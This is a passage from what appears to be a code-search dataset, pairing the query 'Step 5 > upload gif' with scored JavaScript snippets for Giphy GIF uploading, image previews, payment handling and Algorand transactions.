algodclient.getTransactionParams().do().then((params) => {\n let txn = algosdk.makeAssetTransferTxnWithSuggestedParams(account.addr, to, closeRemainderTo, revocationTarget,\n amount, note, assetId, params); \n // sign the transaction\n var signedTxn = algosdk.signTransaction(txn, account.sk);\n algodclient.sendRawTransaction(signedTxn.blob).do().then((tx) => {\n waitForConfirmation(algodclient, tx.txId)\n .then(resolve)\n .catch(console.log);\n }).catch(console.log);\n }).catch(console.log);\n })\n return p;\n}", "title": "" }, { "docid": "bc6e3baccea8edb8236647f3e47f7517", "score": "0.41406927", "text": "function registerAsset(asset){// `push` returns new array length, so the first asset will\n// get id 1 (not 0) to make the value truthy\nreturn assets.push(asset);}", "title": "" }, { "docid": "e12873ce9961eb9ed482532599010f26", "score": "0.4138787", "text": "function processPayment\n(\n amount\n)\n{\n var customerId = sessionManager('getSession','customerId');\n var res = getARide($.session.get('rideId'));\n var payRetCode = true;\n \n if(res.retCode && \n res.ride != null && \n res.ride.id > 0)\n {\n var entityId = res.ride.entityId;\n $.session.set('liftBalance', amount);\n \n var orderId = getOrderByEntity(entityId);\n \n if (orderId == NO_ID)\n {\n orderId = createAirspndOrder(entityId, customerId);\n }\n if(parseInt(orderId) <= 0)\n {\n payRetCode = false;\n $('.modal').modal('hide');\n showAlertBox('Error Alert',ERROR_MSG);\n }\n else\n { \n payRetCode = makePayment(customerId, orderId, \n amount);\n \n if (payRetCode)\n {\n addOrderToLift($.session.get('liftId'), orderId);\n \n driverFirstName = res.ride.firstName;\n driverLastName = res.ride.lastName;\n driverName = driverFirstName + \" \" + driverLastName; \n driverPhone = res.ride.phone;\n driverEmail = res.ride.email;\n rideDate = res.ride.dt;\n rideTime = res.ride.dt; \n \n phoneNumber = driverPhone.split('-').join(''); \n if (res.ride.textYes)\n {\n var hasSent = sendTextMessage(phoneNumber,\n \"The rider has paid for the ride. Please \" + \n \"login into AirPnd to see the detail of the \" +\n \"ride \" + SITE_URL);\n }\n\n var result = getLiftById($.session.get('liftId')); \n lift = result.lift;\n\n var emailBody = getEmailBody('paymentForDriver',\n driverName, \"\", \"\", \"\",\n \"\", \"\", lift); \n \n var emailSubject = 'AirPnd - Payment Confirmation'; \n var hasMailSent = sendEmail(driverEmail,\n emailSubject,emailBody); \n \n } \n }\n }\n return payRetCode;\n}", "title": "" }, { "docid": "0d75bb182455940063571ca193771536", "score": "0.41353342", "text": "function fetchCurrency(src,dst) {\n\tlet url = fixerUrl + '&base=EUR&symbols=EUR,' + src + ',' + dst;\n\tconsole.log(url);\n\treturn fetch(url)\n\t.then((response) =>{\n\t\treturn response.text();\n\t})\n\t.then(function(text) {\n\t\tlet results = JSON.parse(text);\n\t\t// sample\n\t\t// {\"success\":true,\"timestamp\":1534910351,\n\t\t// \"base\":\"EUR\",\"date\":\"2018-08-22\",\n\t\t// \"rates\":{\"EUR\":1,\"CAD\":1.508533,\"USD\":1.157441}\n\t\t// }\n\t\treturn {src: results.rates[src], dst : results.rates[dst]};\n\t});\n\t// TODO add error handling\n}", "title": "" }, { "docid": "0572894fc9ce246e5a498404e4d04141", "score": "0.41277504", "text": "dealOne() {\n if (this.cards.length) {\n const card = this.cards.shift();\n return card;\n }\n return undefined;\n }", "title": "" }, { "docid": "8a12f8da272341f9864dd31e45417559", "score": "0.4126514", "text": "function getAssetClass() {\n try {\n return require('parcel').Asset;\n } catch (e) {\n return require('parcel-bundler').Asset;\n }\n}", "title": "" } ]
65e47c2b346e07da2de5d0439d0c9735
Step 5 > upload gif
[ { "docid": "bac186c268e6925ff01ea2f18418ad71", "score": "0.7059965", "text": "function uploadgGif() {\r\n step2.classList.remove('stepActive');\r\n step3.classList.add('stepActive');\r\n overlay.style.display = 'flex';\r\n\r\n let send = fetch(`https://upload.giphy.com/v1/gifs?api_key=${apiKey}&file=${form}`, { method: 'POST', body: form });\r\n\r\n send.then(\r\n (sucess) => {\r\n return sucess.json();\r\n }\r\n ).then(\r\n (response) => {\r\n // console.log(response)\r\n // console.log(response.data.id);\r\n info = response.data.id;\r\n myGifs.push(info);\r\n localStorage.setItem('mygifs', JSON.stringify(myGifs));\r\n imageUploadingGif();\r\n }\r\n )\r\n}", "title": "" } ]
[ { "docid": "152a81747a5fb391e1959b422c3431e6", "score": "0.71171916", "text": "async function uploadGifo() {\n let form = new FormData()\n form.append('file', blob, 'miGifo.gif')\n let response = await fetch(`https://upload.giphy.com/v1/gifs?api_key=${apiKey}&file=${form}`, {\n method: 'POST',\n body: form\n })\n let gif = await response.json()\n loadCompleted(gif)\n}", "title": "" }, { "docid": "2e53474bdcc1e95564df1195ea492cda", "score": "0.683625", "text": "function GifoUpload() {\n const form = new FormData();\n form.append('file', recorder.getBlob(), 'myGif.gif');\n console.log(form.get('file'));\n // subiendo el buffer\n gifBuffering();\n\n fetch(`https://upload.giphy.com/v1/gifs?api_key=${ApiKey}`, {\n method: \"POST\",\n body: form\n })\n .then(response => response.json())\n .then(response => {\n fondogif.remove();\n let gifsrc = `${GIPHY_URL}${response.data.id}/giphy.gif`;\n uploadSuccesfull(gifsrc,response.data.id);\n let datagif = response.data.id;\n console.log(response.data.id);\n MisGifos.push(datagif);\n localStorage.setItem('myGifostorage',JSON.stringify(MisGifos));\n \n })\n .catch(error => {\n console.log({error: `${error}`});\n });\n}", "title": "" }, { "docid": "b1d2f5211681696398baba2ecd2addc7", "score": "0.6827094", "text": "function upload_gif(){\n upload_details.style.visibility=\"visible\";\n start_button.removeEventListener(\"click\",upload_gif);\n start_button.style.visibility=\"hidden\";\n record_counter.style.display=\"none\";\n if (JSON.parse(localStorage.getItem(\"dark_mode\"))==true){\n two_btn.style.backgroundColor=\"#37383c\";\n two_btn.style.color=\"#fff\";\n two_btn.style.border=\"1px solid #fff\";\n three_btn.style.color=\"#37383c\";\n three_btn.style.backgroundColor=\"#fff\";\n three_btn.style.border=\"1px solid #fff\";\n } else { \n two_btn.style.backgroundColor=\"#fff\";\n two_btn.style.color=\"#572ee5\";\n three_btn.style.color=\"#fff\";\n three_btn.style.backgroundColor=\"#572ee5\";\n } \n form = new FormData();\n form.append(\"file\", blob, 'migifo.gif'); \n fetch(url, {\n method:'POST',\n body: form\n })\n .then(res => res.json())\n .then(data => {\n gifId = data.data.id;\n console.log(gifId);\n fetch(urlGetById+gifId+key)\n .then(res => res.json())\n .then(data => {\n gifUrl = data.data.images.original.url\n console.log(data.data.images.original.url);\n upload_succes();\n generate_dload(gifUrl);\n generate_share(gifUrl);\n myGifo= new MyGifos(data.data.id, gifUrl, data.data.title, data.data.username, true);\n console.log(myGifo);\n storage_my_gifo(myGifo);\n })\n .catch (error => {\n console.log (error);\n loading_msg.innerText=\"Ups! Hubo un error. Crea un nuevo Gifo.\";\n })\n });\n}", "title": "" }, { "docid": "a9dd0ad41458ee8fd88d6af283fd619f", "score": "0.6713099", "text": "function uploadGif(data, callback) {\n return http.post(url.gifs.uploadGif, data)\n .then(function (res) {\n callback(res);\n });\n }", "title": "" }, { "docid": "e91372f447b4061a820b42730db1ca82", "score": "0.65291697", "text": "function dankMeme() {\n $(\"img.output\").attr(\"src\", \"\");\n oReq = new XMLHttpRequest();\n oReq.open(\"post\", '/parrotify.gif', true);\n oReq.responseType = \"blob\";\n oReq.onload = function (e) {\n var blob = oReq.response;\n var urlCreator = window.URL || window.webkitURL;\n var imgSrc = urlCreator.createObjectURL(blob);\n output.attr(\"src\", imgSrc);\n };\n oReq.send(new FormData(form));\n}", "title": "" }, { "docid": "7ea8859e428a37a8e3d94a4a41aaf71c", "score": "0.6405264", "text": "function loadGif (selector) {\n var html = \"<div class='text-center'><img src='images/ajax-loader.gif'></div>\";\n inserthtml(selector,html);\n }", "title": "" }, { "docid": "8d8cc2c97b6f87a73a0a100a853be0ef", "score": "0.6375907", "text": "function submit_photo(base_url) { \n\tjQuery('#loading_progress').html('<img src=\"'+base_url+'skin/frontend/base/default/customerpic/img/ajax-loader.gif\"> Uploading your photo...');\n}", "title": "" }, { "docid": "34755fd40c8b5870fc5ee464b6fe6dcb", "score": "0.6334205", "text": "function showCreateYourGifSection() {\n document.getElementById(\"favoriteContainer\").innerHTML=\"\";\n document.getElementById(\"favorites\").style.display=\"none\";//escondemos la seccion favorites\n document.getElementById(\"search\").style.display = \"none\";//escondemos la seccion search\n document.getElementById(\"searchResults\").style.display= \"none\";//escondemos la seccion searchResults\n document.getElementById(\"trending\").style.display= \"none\";//escondemos la seccion searchResults\n document.getElementById(\"myGifos\").style.display = \"none\";\n document.getElementById(\"textsYourOwnGif\").style.display = \"initial\";\n document.getElementById(\"startProcess\").style.display = \"initial\";\n document.getElementById(\"step1\").setAttribute(\"src\", \"./assets/captura/paso_1.svg\")\n document.getElementById(\"step2\").setAttribute(\"src\", \"./assets/captura/paso_2.svg\")\n document.getElementById(\"step3\").setAttribute(\"src\", \"./assets/captura/paso_3.svg\")\n document.getElementById(\"videoContainer\").style.display = \"none\";\n document.getElementById(\"startRecording\").style.display = \"none\";\n document.getElementById(\"endRecording\").style.display = \"none\";\n document.getElementById(\"uploadYourGif\").style.display = \"none\";\n document.getElementById(\"giveYourPermission\").style.display = \"none\";\n document.getElementById(\"timer\").style.display = \"none\";\n document.getElementById(\"loadingImage\").style.display = \"none\";\n clearInterval(contar);\n document.getElementById(\"createYourGif\").style.display=\"initial\";//Mostramos la seccion createYourGif\n}", "title": "" }, { "docid": "a24fd0dd556fc83fb2fe3559de8d1b9d", "score": "0.6310219", "text": "function postGifToGiphy() {\n try {\n //formateo el blob para poder mandarlo a giphy\n let form = new FormData();\n form.append('file', recorder.getBlob());\n form.append('api_key', API_KEY);\n\n //envio mi gif recién creado junton con mi API_KEY a giphy\n return fetch('https://upload.giphy.com/v1/gifs?' + API_KEY, {\n signal: controller.signal, //para abortar fetch en button canclear\n method: 'POST',\n body: form\n })\n .then(async response => {\n jsonRes = await response.json()\n return jsonRes\n }).catch(e => { if (e.name === \"AbortError\") { console.log(\"Fetch cancelado con exito\") } })\n\n } catch (e) { console.log(\"error tipo: \" + e); }\n}", "title": "" }, { "docid": "1fe2154b5d6cb76ac2b5197785401e26", "score": "0.6278623", "text": "function gifGrabberSetup() {\n $('#grabber-loading').remove();\n $('.gifgrabber-form').addClass('hidden');\n $('.gifgrabber-container').addClass('gifgrabber-expanded');\n $('.gifgrabber-results').removeClass('hidden');\n}", "title": "" }, { "docid": "c00a6f78f21aed7cea524b8586879007", "score": "0.62627435", "text": "function setGif(e, s, f)\r\n{\r\n\tf++\r\n\tif(f > 3)\r\n\t{\r\n\t\tf = 1;\r\n\t}\r\n\te.src = s + f + \".png\";\r\n\tsetTimeout(function(){setGif(e, s, f);}, 200);\r\n}", "title": "" }, { "docid": "a16de4a746d6976db6d2a7d853825754", "score": "0.6259366", "text": "function addGIF() {\n var image = $(\"<img>\").attr(\"src\", choices[i].gifURL);\n\n $(\"#correctIncorrect\").append(image);\n }", "title": "" }, { "docid": "a62a9627206b434dab024fed204db051", "score": "0.6227751", "text": "function gifGenerator(content) {\n var gif_header = new Headers();\n\n var options = {\n method: 'POST',\n mode: \"cors\",\n headers: gif_header,\n body: content\n }\n\n uploadGif.addEventListener(\"click\", function() {\n\n loadingGif.style.display = \"block\";\n\n function sendingGif(url) {\n fetch(url, options)\n .then((res) => {\n return res.json()\n }).then((getGif) => {\n if (getGif.meta.status == 200) {\n let id = getGif.data.id;\n\n loadingGif.style.display = \"none\";\n\n copyGif.style.display = \"block\";\n downloadGif.style.display = \"block\";\n\n\n function getInnerGif(url) {\n fetch(url)\n .then((res) => {\n return res.json()\n }).then((getres) => {\n console.log(getres);\n\n copyGifLink.style.display = \"block\";\n downloadGif.style.display = \"block\";\n\n let urlGif = getres.data[0].images.downsized.url;\n // myGifos.src = urlGif;\n\n let localData = localStorage.getItem(\"History_Gifs\");\n localGifs = localData ? JSON.parse(localData) : [];\n localGifs.push(urlGif);\n localStorage.setItem(\"History_Gifs\", JSON.stringify(localGifs));\n\n copyGifLink.value = urlGif;\n\n copyGif.addEventListener(\"click\", function() {\n copyGifLink.select();\n document.execCommand(\"copy\");\n alert(\"Enlace de Guifo copiado\");\n })\n\n downloadGif.setAttribute(\"href\", urlGif);\n })\n };\n console.log(id);\n getInnerGif(`${getGifApi}?api_key=${apiKeyGif}&ids=${id}`);\n };\n });\n\n };\n uploadGif.style.display = \"none\";\n cancel.style.display = \"none\";\n sendingGif(`${uploadUrl}?api_key=${apiKeyGif}`);\n });\n }", "title": "" }, { "docid": "5c5c8d5e297a814c5caf0790ab763fa2", "score": "0.6213487", "text": "function displayGIF(gif) {\n\tconsole.log('gif is:', gif);\n\tlet src = gif.images.original.url;\n\tlet $img = $(`<img src='${src}'>`);\n\tconsole.log('image is:', $img);\n\t$('#gifs').append($img);\n}", "title": "" }, { "docid": "47dd594b285c0e7bbee442cb547c1acc", "score": "0.6188491", "text": "function submit_photo(event) {\n\t// display the loading texte\n\t$('#loading_progress').html('<img src=\"/templates/home/js/jupload-crop-images/loader.gif\"> Đang tải ảnh của bạn...');\n}", "title": "" }, { "docid": "f96df668dfcd276d29e8b1942e97e7ba", "score": "0.6176476", "text": "function fileioUploadSmall(name, gpx, onDone, onFail) {\r\n $.post( \"//file.io/?expires=1d\", { \"text\": gpx }\r\n ).done(function(resp) {\r\n if (resp.success) {\r\n onDone(resp.link, resp.link);\r\n } else {\r\n onFail(resp.message);\r\n }\r\n }).fail(onFail);\r\n }", "title": "" }, { "docid": "a6609295901549bee64122cf81475094", "score": "0.61598396", "text": "function fileioUploadSmall(name, gpx, onDone, onFail) {\r\n $.post( \"//file.io/?expires=1d\", { \"text\": gpx }\r\n ).done(function(resp) {\r\n if (resp.success) {\r\n onDone(resp.link, resp.link);\r\n } else {\r\n onFail(resp.message + (resp.error ? \" (\" + resp.error +\")\" : \"\"));\r\n }\r\n }).fail(onFail);\r\n }", "title": "" }, { "docid": "e4ea2f15183b4dd5ef60179c7ecc1026", "score": "0.6076619", "text": "function gif(id,heading=\"\",content=\"\",imgClass) {\n $('.gif-change').removeClass('exclusive-feat-active')\n id.addClass('exclusive-feat-active')\n $('.img-heading .exclusive-content').empty();\n $('.img-heading').html(heading)\n $('.exclusive-content').html(content);\n $(\"#exclusive-img\").removeClass()\n $(\"#exclusive-img\").addClass(imgClass);\n $(\"#exclusive-img\").addClass( \"main-img-container-ani1\" ).one(\"webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend animationend\", function(){\n $(\"#exclusive-img\").removeClass( \"main-img-container-ani1\" );\n });\n }", "title": "" }, { "docid": "81d94ff4fa933e81dbf5445d2811839a", "score": "0.6060873", "text": "displaySaveOptions() {\n if (this.state.readyToSave == true) {\n let gifRef = this.state.gifObj;\n let gifImg = gifRef.image;\n\n return (\n <div>\n <div className=\"gifPreview\">\n <img style={styles.createdGif} src={gifImg} alt=\"gifImg\" />\n </div>\n\n <Segment padded>\n <Button\n bsStyle=\"primary\"\n block\n bsSize=\"large\"\n onClick={this.saveGif.bind(this)}\n >\n Save GIF\n </Button>\n\n <Divider horizontal>Or</Divider>\n\n <Button\n bsStyle=\"danger\"\n block\n bsSize=\"large\"\n onClick={this.goBack.bind(this)}\n >\n Go Back\n </Button>\n </Segment>\n </div>\n );\n }\n }", "title": "" }, { "docid": "84e6b82163cedb6fcf7006a2b8f0e358", "score": "0.6037863", "text": "function imageIsLoaded(e) {\n $('.uploaded-icon').attr('src', e.target.result);\n \n}", "title": "" }, { "docid": "64a71d98313a938975fa09cb71bbfa03", "score": "0.6035206", "text": "function prepareUpload(event)\n{\n\tconsole.log('preparing your face 4 load');\n\tgigafiles = event.target.files;\n\tconsole.log('files: ');\n\tconsole.dir(gigafiles);\n}", "title": "" }, { "docid": "71a269dea12e737e9e3692f7ff6aabda", "score": "0.60322255", "text": "function uploadSingleFile() {\n animation.log(log.CONTENTS_UPLOAD_START, 1);\n uploadFile();\n}", "title": "" }, { "docid": "4c7984d1bed32324ccabb73fb3c27007", "score": "0.6026919", "text": "__newPhotoShowedUp(e) {\n let file = new File([e.detail.raw], \"headshot\" + e.timeStamp + \".jpg\");\n this.shadowRoot.querySelector(\"#fileupload\")._addFile(file);\n }", "title": "" }, { "docid": "530121ea6e6b9555901d260ae63d7316", "score": "0.6026688", "text": "function outUpload() {\n document.getElementById(\"upload_img\").src = \"Ressources/upload.png\";\n document.getElementById(\"upload_img\").className = \"\";\n document.getElementById(\"upload_text\").style.display = \"none\";\n}", "title": "" }, { "docid": "78970da61579515c1acdc234dcd3d2de", "score": "0.60229236", "text": "function selectGif(caller) {\n setImg(document.getElementById('input-gif'), getImg(caller));\n}", "title": "" }, { "docid": "22938044e56ae92a68da43a0946aa7f4", "score": "0.60166144", "text": "function startUpload() {\n\t\t$('#loaderContainer').show();\n\t\ttotalUploaded = filesUploaded = 0;\n\t\tuploadNext();\n\t}", "title": "" }, { "docid": "a99d1432c9cdba517ae6664ef00ac450", "score": "0.6003239", "text": "downloadGif() {\n const a = document.createElement(\"a\");\n try {\n a.download = this.props.currentTemplate.name + '.gif';\n a.href = this.state.gifBlobUrl;\n document.body.appendChild(a);\n a.click();\n }\n catch (e) {\n console.log(e)\n }\n }", "title": "" }, { "docid": "92807173820a4f7efdf8bf7702d3986f", "score": "0.5997053", "text": "function preloader() {\n let loadingImage = new Image();\n loadingImage.src = \"images/aboutMiguel/backgrounds/gifs/rocketBackground.gif\";\n}", "title": "" }, { "docid": "c49df11792c0635a18fe55bdccbadbe5", "score": "0.59864694", "text": "function updateGif() {\n var state = $(this).attr(\"data-state\");\n var still = $(this).attr(\"data-still\");\n var animate = $(this).attr(\"data-animate\");\n\n if (state === \"still\") {\n $(this).attr(\"src\", animate);\n $(this).attr(\"data-state\", \"animate\");\n }\n else if (state === \"animate\") {\n $(this).attr(\"src\", still);\n $(this).attr(\"data-state\", \"still\");\n }\n else {\n console.log(\"Error\");\n }\n }", "title": "" }, { "docid": "07a7bb89343f989e55c960c3928f8354", "score": "0.59479064", "text": "function gif() {\nanswerSlot.innerHTML += `<img id='gif' src='${triviaArray[currentQuestionIndex].gif}'>`\n}", "title": "" }, { "docid": "dc6fcb0d5e9674677384ac62be11676a", "score": "0.5894578", "text": "function swfuploaderUploadLoaded() {}", "title": "" }, { "docid": "d311ad2240f11d0df1048de1307989c8", "score": "0.58944714", "text": "function uploadLocal() {\n console.log(\"ENTRAMOS!\");\n //var files = $(this)[0].files;\n\n $(\".retorno-upload\").css(\"padding-bottom\", \"24px\");\n\n $(\".retorno-upload\").html(\n `<img src=\"assets/images/loading.gif\" style=\"width:32px;height:auto;\"> Estamos enviando suas imagens, aguarde.`\n );\n\n /* Efetua o Upload \n $('.fileForm').ajaxForm({\n dataType: 'json',\n success: processJson \n }).submit();\n */\n}", "title": "" }, { "docid": "4b7f72b5aab7749f8fcd1bdbfea74a2f", "score": "0.589039", "text": "function tupian(v) {\n var reader = new FileReader();\n reader.onload = function (evt) {\n\n $(\"#ImgAvatar\")[0].src = evt.target.result;\n }\n reader.readAsDataURL(v.files[0]);\n}", "title": "" }, { "docid": "0e789fa8da80588936fae0b6f310e959", "score": "0.5856849", "text": "function displayGIF() {\n\tif (alarmRinging) {\n\t\tvar alarmGIF = document.getElementById(\"alarmGIF\");\n\t\talarmGIF.src = \"https://media.giphy.com/media/3ohze456U9AIzUbex2/giphy.gif\";\n\t}\n}", "title": "" }, { "docid": "f163f5bcffd618217e1048c8e8c07bdb", "score": "0.5850543", "text": "function addGifToFavorites(doneCallback) {\n var top = document.querySelector('#tops').value;\n var bottom= document.querySelector('#bottoms').value;\n jQuery.post(\"/list_favorite\", {top, bottom}, doneCallback);\n}", "title": "" }, { "docid": "b00b669c79ef037ee07b6a5d63ee79e0", "score": "0.5849686", "text": "function animateGif() {\n if( $(this).attr(\"data-status\") === \"still\" ){\n $(this).attr(\"data-status\", \"animate\");\n $(this).attr(\"src\", $(this).attr(\"data-animate\"));\n }else {\n $(this).attr(\"data-status\", \"still\");\n $(this).attr(\"src\", $(this).attr(\"data-still\"));\n }\n }", "title": "" }, { "docid": "9c5dcf5483dc887b49985733cbc41ab4", "score": "0.58455896", "text": "createGif() {\n let numFrames = this.state.gifDuration / 0.1;\n gifshot.createGIF(\n {\n gifWidth: this.state.gifWidth,\n gifHeight: this.state.gifHeight,\n video: this.state.assetLocation,\n offset: this.state.gifStartTime,\n numFrames: numFrames,\n saveRenderingContexts: true\n },\n function(obj) {\n // Save gifObj to state and set readyToSave to true\n this.setState({\n gifObj: obj,\n readyToSave: true\n });\n console.log(this.state.gifObj);\n }.bind(this)\n );\n }", "title": "" }, { "docid": "332498ff8dbb3d54495987e8910b53f7", "score": "0.5834608", "text": "function addWrongGIF() {\n var image = $(\"<img>\").attr(\"src\", choices[i].wrongURL);\n\n $(\"#correctIncorrect\").append(image);\n }", "title": "" }, { "docid": "2192e3ae7724de24d50279932b1132e0", "score": "0.5820463", "text": "function showPreview() {\n preview.innerHTML = \"<div class='loadingLogo'></div>\";\n preview.innerHTML += '<img id=\"flower-image\" />';\n var reader = new FileReader();\n reader.onload = function () {\n var img = document.getElementById(\"flower-image\");\n img.src = reader.result;\n };\n reader.readAsDataURL(e.target.files[0]);\n preview.removeChild(document.querySelector(\".loadingLogo\"));\n document.querySelector(\".fileName\").innerHTML =\n fileName + \"<b> Uploaded!</b>\";\n }", "title": "" }, { "docid": "5ae4bfae11d9c0de4102dfe2b65c914b", "score": "0.58097035", "text": "function generateCatGif() {\n var image = document.createElement('img');\n var div = document.getElementById('flex-cat-generator');\n image.src = \"http://thecatapi.com/api/images/get?format=src&type=gif&size=small\";\n div.appendChild(image);\n}", "title": "" }, { "docid": "05342d14970d358dbe32c6213384ca8c", "score": "0.5801631", "text": "function showGif(URL) {\n let vectorGif = document.getElementsByClassName(\"gif\");\n\n console.log(\"entro al show gif\");\n console.log(typeof URL);\n\n for (let i = 0; i <= vectorGif.length; i++) {\n if (typeof URL === \"string\") {\n vectorGif[i].setAttribute(\"src\", URL);\n } else {\n vectorGif[i].setAttribute(\"src\", URL[i]);\n }\n }\n}", "title": "" }, { "docid": "c2f11caa1d03fa5c1126f90f1dbfe358", "score": "0.579518", "text": "function addfPictureUpload(input) {\n if (input.files && input.files[0]) {\n var addfPicReader = new FileReader();\n\n addfPicReader.onload = function (e) {\n $('#AddfPic').attr('src', e.target.result).fadeIn('slow');\n }\n addfPicReader.readAsDataURL(input.files[0]);\n }\n}", "title": "" }, { "docid": "ab4a1c21d2eac379f036b2b91e8d5c0a", "score": "0.57573384", "text": "function UploadFile(fileUpload) {\n\n\n var img = document.getElementById(\"mainContent_showPic\");\n var loader = document.getElementById(\"mainContent__loader\");\n\n $(img).hide();\n $(loader).show();\n\n if (fileUpload.value != '') {\n\n img.src = window.URL.createObjectURL(fileUpload.files[0]);\n $(img).css({\n width: 'auto',\n height: 'auto'\n }); // ova za da ne presmetuva spored prethodnata visina i shirina (pri vtor obid)\n }\n\n}", "title": "" }, { "docid": "6a543f76fb2e8d8d3cec5aede6141fa1", "score": "0.5756858", "text": "function uploadFile() {\n var buttons = document.getElementsByClassName(\"label_upload\"); //hide all select file buttons\n for(i=0;i<buttons.length;i++)\n \tbuttons[i].style.visibility = \"hidden\";\n document.getElementById(\"uploadButton2\").style.visibility=\"hidden\"; //hide upload button in the preivew modal\n \n //display the progress bar\n var num = document.getElementsByClassName('progressNumber')\n for(i=0;i<num.length;i++)\n \tnum[i].style.visibility='visible';\n fileQueue = document.getElementById(\"fileToUpload\").files;\n currentFile = 0;\n upload();\n}", "title": "" }, { "docid": "e26a33d474c5b83ac7bfcdb6e0da77e3", "score": "0.57522947", "text": "displayGif() {\n if (this.state.gifObj != null) {\n let gifRef = this.state.gifObj;\n let gifImg = gifRef.image;\n\n return (\n <div>\n <img style={styles.createdGif} src={gifImg} alt=\"gifImg\" />\n </div>\n );\n }\n }", "title": "" }, { "docid": "09b61af3529ab546b1ac2b7983bd98a4", "score": "0.57399464", "text": "function small_loading_image(div) {\n div.html('<img src=\"/images/loading.gif\" style=\"width:20px; height:20px\" alt=\"Loading\"/>');\n}", "title": "" }, { "docid": "56577fbff63900c86bee73964af9fe2b", "score": "0.57389754", "text": "function displayGIF(gifData) {\n return `\n <div class=\"gif-image\">\n <img src=\"${gifData.images.original.url}\" alt=\"${gifData.title}\"> \n </div>\n `\n}", "title": "" }, { "docid": "954b3fb3c4b626f4524bc76cbe663177", "score": "0.57361966", "text": "function recordGif() {\n let recorderGif = RecordRTC(stream, {\n type: \"gif\",\n frameInterval: 90\n });\n capture.addEventListener(\"click\", function() {\n recorderGif.startRecording()\n\n stopRecord.style.display = \"block\";\n stopIcon.style.display = \"block\";\n captureIcon.style.display = \"none\";\n\n });\n\n start.style.display = \"none\";\n gifVideo.style.display = \"block\";\n capture.style.display = \"block\";\n\n stopRecord.addEventListener(\"click\", function() {\n recorderGif.stopRecording(callback);\n\n uploadGif.style.display = \"block\";\n gifVideo.style.display = \"none\";\n stopRecord.style.display = \"none\";\n stopIcon.style.display = \"none\";\n\n function callback() {\n formGif = new FormData();\n formGif.append('file', recorderGif.getBlob(), 'myGif.gif');\n let url = URL.createObjectURL(formGif.get('file'));\n gifRecorded.style.display = \"block\";\n gifRecorded.src = url;\n gifGenerator(formGif);\n }\n });\n }", "title": "" }, { "docid": "0d2fa67663a7bb3304a17063b1d5d60f", "score": "0.5732162", "text": "onUploadComplete(){}", "title": "" }, { "docid": "0016bba1f229c4f49ffc9eb44ffe31a4", "score": "0.5685649", "text": "function tweetAPic(picPath, status, altText) {\n var picB64 = fs.readFileSync(picPath, {encoding: \"base64\"});\n var tweetMe = _.partialRight(afterUpload, status, altText, afterTagging);\n twitter.post(\"media/upload\", { media_data: picB64 }, tweetMe);\n}", "title": "" }, { "docid": "2f7c466de2572b3d58c45bd93fa9c1b5", "score": "0.5685339", "text": "function directUploadToS3(playloop){\n var finalGIFPath = '/app/temp1' + ioClientID + '/final.gif';\n fs.readFile(finalGIFPath, function (err, data) {\n if (err) throw err; // Something went wrong!\n\n aws.config.update({\n accessKeyId: AWS_ID,\n secretAccessKey: AWS_KEY,\n region: 'us-west-1'\n });\n\n const s3 = new aws.S3({params: {Bucket: S3_BUCKET}});\n const fileName = playloop['_id'] + \".gif\"; // req.query['file-name'];\n const fileType = \"image/gif\"; //req.query['file-type'];\n\n const s3Params = {\n Bucket: S3_BUCKET,\n Key: fileName,\n Body: data,\n ContentType: fileType,\n ACL: 'public-read'\n };\n s3.putObject(s3Params, function(err, data){\n if (err) {\n console.log('Error uploading data: ' + data);\n } else {\n console.log('succesfully uploaded the image!');\n io.sockets.emit('news', { hello: 'great cummunitacing!' });\n }\n });\n });\n }", "title": "" }, { "docid": "ba9ea2898525bc9fac1a4969d6863a8a", "score": "0.5683712", "text": "async function cargarGifo() {\n\n overlay.style.display = \"flex\";\n cargando.style.display = \"flex\";\n fetch(`https://upload.giphy.com/v1/gifs`, {\n method: \"POST\",\n body: form\n\n })\n .then(data => {\n return data.json();\n })\n .then(obj => {\n cargando.style.display = \"none\";\n gifCargado.style.display = 'flex';\n btnDescargar.style.display = \"flex\";\n let arr = [];\n\n if (localStorage.getItem(\"misgifos\") == null) {\n arr.push(obj.data.id);\n const datos = JSON.stringify(arr);\n localStorage.setItem('misGifos', datos);\n } else {\n const vuelta = JSON.parse(localStorage.getItem(\"misgifos\"));\n arr.push(vuelta);\n arr.push(obj.data.id);\n const info = JSON.stringify(arr);\n localStorage.setItem('misGifos', info);\n }\n })\n .catch(err => console.log(err));\n\n}", "title": "" }, { "docid": "95f1f2891d90028c0f0b91bab640cc40", "score": "0.5670399", "text": "function upload_new_thumb(id, dir) {\r\n switch_loading(id, true);\r\n\t\t\t$(\"#loadTplProgress\").tmpl({descr:t('sending_thumb'),done:'0',total:'?'}).appendTo($('#rload_'+id).empty());\r\n\r\n var batch = new Batch(ParallelBatch);\r\n batch.get({\r\n params:{action:'index.set_thumb', dir:dir.path, partialupdated:dir.name},\r\n file:document.getElementById('up_thumb_'+id).files[0],\r\n progress:function(done, total) {\r\n $(\"#loadTplProgress\").tmpl({descr:t('sending_thumb'),done:Math.round(done/1024)+'K',total:Math.round(total/1024)+'K'}).appendTo($('#rload_'+id).empty());\r\n }\r\n },\r\n\t\t\t\tfunction(data) {\r\n\t\t\t\t\tswitch_loading(id, false);\r\n\t\t\t\t\t$('#thumbd_'+id).html('<img src=\"'+data.path+'/index_c.jpg?'+new Date().getTime()+'\" class=\"thumb\"/>');\r\n\t\t\t\t}\r\n\t\t\t);\r\n batch.launch();\r\n }", "title": "" }, { "docid": "7a265a6b690baf39c5dcc6407aba4bfe", "score": "0.5667066", "text": "function handleUpload(e) {\n setShowUpload(true);\n }", "title": "" }, { "docid": "58221a7d9cc44d1400f31c84e09ed7d2", "score": "0.566201", "text": "async function getGif() {\n try {\n const url = \"/images/\"\n const payload = JSON.stringify({\n \"delay\": +animationDelay,\n \"frames\": frames.slice(0, numberOfFrames),\n \"pixelSize\": 10,\n \"width\": 200,\n \"height\": 200\n })\n const gifResponse = await fetch(url, {\n method: \"POST\",\n credentials: \"include\",\n body: payload,\n headers: {\n \"Content-Type\": \"application/json\"\n }\n })\n const gifJson = await gifResponse.json()\n console.log(gifJson)\n if (gifJson.status === 200) {\n window.open(`${process.env.REACT_APP_API_URL}/images/${gifJson.data.image_uuid}`, \"_blank\")\n }\n } catch (err) {\n console.log(err)\n }\n }", "title": "" }, { "docid": "3c2556e690d6111e1e47b5d37875b99d", "score": "0.5661471", "text": "function overUpload() {\n document.getElementById(\"upload_img\").src = \"Ressources/upload_over.png\";\n document.getElementById(\"upload_img\").className = \"img_over\";\n document.getElementById(\"upload_text\").style.display = \"block\";\n}", "title": "" }, { "docid": 